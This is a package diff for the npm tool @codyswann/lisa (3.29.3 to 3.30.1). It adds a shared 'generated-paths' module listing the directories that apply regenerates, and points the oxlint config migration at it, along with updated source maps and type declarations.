@codyswann/lisa 3.29.3 → 3.30.1

package/dist/migrations/ensure-oxlint-base-configs.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"ensure-oxlint-base-configs.d.ts","sourceRoot":"","sources":["../../src/migrations/ensure-oxlint-base-configs.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EACV,SAAS,EACT,gBAAgB,EAChB,eAAe,EAChB,MAAM,0BAA0B,CAAC;AA4MlC;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,qBAAa,gCAAiC,YAAW,SAAS;IAChE,QAAQ,CAAC,IAAI,gCAAgC;IAC7C,QAAQ,CAAC,WAAW,8FACyE;IAE7F;;;;;OAKG;IACG,OAAO,CAAC,GAAG,EAAE,gBAAgB,GAAG,OAAO,CAAC,OAAO,CAAC;IAKtD;;;;OAIG;IACG,KAAK,CAAC,GAAG,EAAE,gBAAgB,GAAG,OAAO,CAAC,eAAe,CAAC;CAuC7D"}
+{"version":3,"file":"ensure-oxlint-base-configs.d.ts","sourceRoot":"","sources":["../../src/migrations/ensure-oxlint-base-configs.ts"],"names":[],"mappings":"AAKA,OAAO,KAAK,EACV,SAAS,EACT,gBAAgB,EAChB,eAAe,EAChB,MAAM,0BAA0B,CAAC;AA8MlC;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,qBAAa,gCAAiC,YAAW,SAAS;IAChE,QAAQ,CAAC,IAAI,gCAAgC;IAC7C,QAAQ,CAAC,WAAW,8FACyE;IAE7F;;;;;OAKG;IACG,OAAO,CAAC,GAAG,EAAE,gBAAgB,GAAG,OAAO,CAAC,OAAO,CAAC;IAKtD;;;;OAIG;IACG,KAAK,CAAC,GAAG,EAAE,gBAAgB,GAAG,OAAO,CAAC,eAAe,CAAC;CAuC7D"}

package/dist/migrations/ensure-oxlint-base-configs.js

@@ -2,6 +2,7 @@ import { readFile, writeFile } from "node:fs/promises";
 import * as path from "node:path";
 import * as fse from "fs-extra";
 import { readJsonOrNull } from "../utils/json-utils.js";
+import { GENERATED_PATH_PREFIXES } from "./generated-paths.js";
 const OXLINTRC = ".oxlintrc.json";
 /**
  * Repo-relative home for the Lisa oxlint configs vendored into a host project.
@@ -11,7 +12,9 @@ const OXLINTRC = ".oxlintrc.json";
  * without asking. Hosts never hand-edit these — they layer their own rules in
  * `.oxlintrc.json`, which stays host-owned.
  */
-const VENDOR_DIR = ".lisa/lisa-oxlint";
+// Single source of truth, shared with the managed-file hook so a guard and a
+// migration can never disagree about what apply regenerates.
+const VENDOR_DIR = GENERATED_PATH_PREFIXES[0];
 /** `extends` prefix that points at a vendored config. */
 const VENDOR_PREFIX = `./${VENDOR_DIR}/`;
 /** Directory inside the Lisa package holding the canonical oxlint configs. */

package/dist/migrations/ensure-oxlint-base-configs.js.map

@@ -1 +1 @@
-{"version":3,"file":"ensure-oxlint-base-configs.js","sourceRoot":"","sources":["../../src/migrations/ensure-oxlint-base-configs.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"ensure-oxlint-base-configs.js","sourceRoot":"","sources":["../../src/migrations/ensure-oxlint-base-configs.ts"],"names":[],"mappings":"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"}

package/dist/migrations/generated-paths.d.ts

@@ -0,0 +1,33 @@
+/**
+ * Project paths that `lisa apply` GENERATES rather than copies.
+ * @module migrations/generated-paths
+ */
+/**
+ * Repo-relative prefixes that apply regenerates on every run.
+ *
+ * A generated path fails differently from a `copy-overwrite` template, and the
+ * difference decides what a guard should tell someone who edits one:
+ *
+ * - **`copy-overwrite`, host-edited** — apply PRESERVES it. The file silently
+ *   forks and stops receiving upstream fixes while looking current. Measured:
+ *   four mutated files, `Overwritten: 0`.
+ * - **generated** — apply REBUILDS it. The edit works locally, CI agrees, and
+ *   the next `bun install` reverts it with nothing reporting that it had.
+ *
+ * So this list exists to let one guard give two accurate answers, rather than
+ * one answer that is wrong for half the files it covers.
+ *
+ * It is the SINGLE source: the migration that vendors a tree imports its prefix
+ * from here, and the hook reads this module out of the installed package. A
+ * hook carrying its own copy of the list would be the defect this repository
+ * has filed repeatedly — a second place to update that nobody updates, which
+ * then governs silently.
+ */
+export declare const GENERATED_PATH_PREFIXES: readonly string[];
+/**
+ * Whether a repo-relative path is regenerated by apply.
+ * @param relativePath - Repo-relative destination path
+ * @returns True when apply rebuilds this path rather than copying it
+ */
+export declare function isGeneratedPath(relativePath: string): boolean;
+//# sourceMappingURL=generated-paths.d.ts.map

package/dist/migrations/generated-paths.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"generated-paths.d.ts","sourceRoot":"","sources":["../../src/migrations/generated-paths.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH;;;;;;;;;;;;;;;;;;;;GAoBG;AACH,eAAO,MAAM,uBAAuB,EAAE,SAAS,MAAM,EAA0B,CAAC;AAEhF;;;;GAIG;AACH,wBAAgB,eAAe,CAAC,YAAY,EAAE,MAAM,GAAG,OAAO,CAK7D"}

package/dist/migrations/generated-paths.js

@@ -0,0 +1,36 @@
+/**
+ * Project paths that `lisa apply` GENERATES rather than copies.
+ * @module migrations/generated-paths
+ */
+/**
+ * Repo-relative prefixes that apply regenerates on every run.
+ *
+ * A generated path fails differently from a `copy-overwrite` template, and the
+ * difference decides what a guard should tell someone who edits one:
+ *
+ * - **`copy-overwrite`, host-edited** — apply PRESERVES it. The file silently
+ *   forks and stops receiving upstream fixes while looking current. Measured:
+ *   four mutated files, `Overwritten: 0`.
+ * - **generated** — apply REBUILDS it. The edit works locally, CI agrees, and
+ *   the next `bun install` reverts it with nothing reporting that it had.
+ *
+ * So this list exists to let one guard give two accurate answers, rather than
+ * one answer that is wrong for half the files it covers.
+ *
+ * It is the SINGLE source: the migration that vendors a tree imports its prefix
+ * from here, and the hook reads this module out of the installed package. A
+ * hook carrying its own copy of the list would be the defect this repository
+ * has filed repeatedly — a second place to update that nobody updates, which
+ * then governs silently.
+ */
+export const GENERATED_PATH_PREFIXES = [".lisa/lisa-oxlint"];
+/**
+ * Whether a repo-relative path is regenerated by apply.
+ * @param relativePath - Repo-relative destination path
+ * @returns True when apply rebuilds this path rather than copying it
+ */
+export function isGeneratedPath(relativePath) {
+    const normalised = relativePath.replaceAll("\\", "/").replace(/^\.\//u, "");
+    return GENERATED_PATH_PREFIXES.some(prefix => normalised === prefix || normalised.startsWith(`${prefix}/`));
+}
+//# sourceMappingURL=generated-paths.js.map

package/dist/migrations/generated-paths.js.map

@@ -0,0 +1 @@
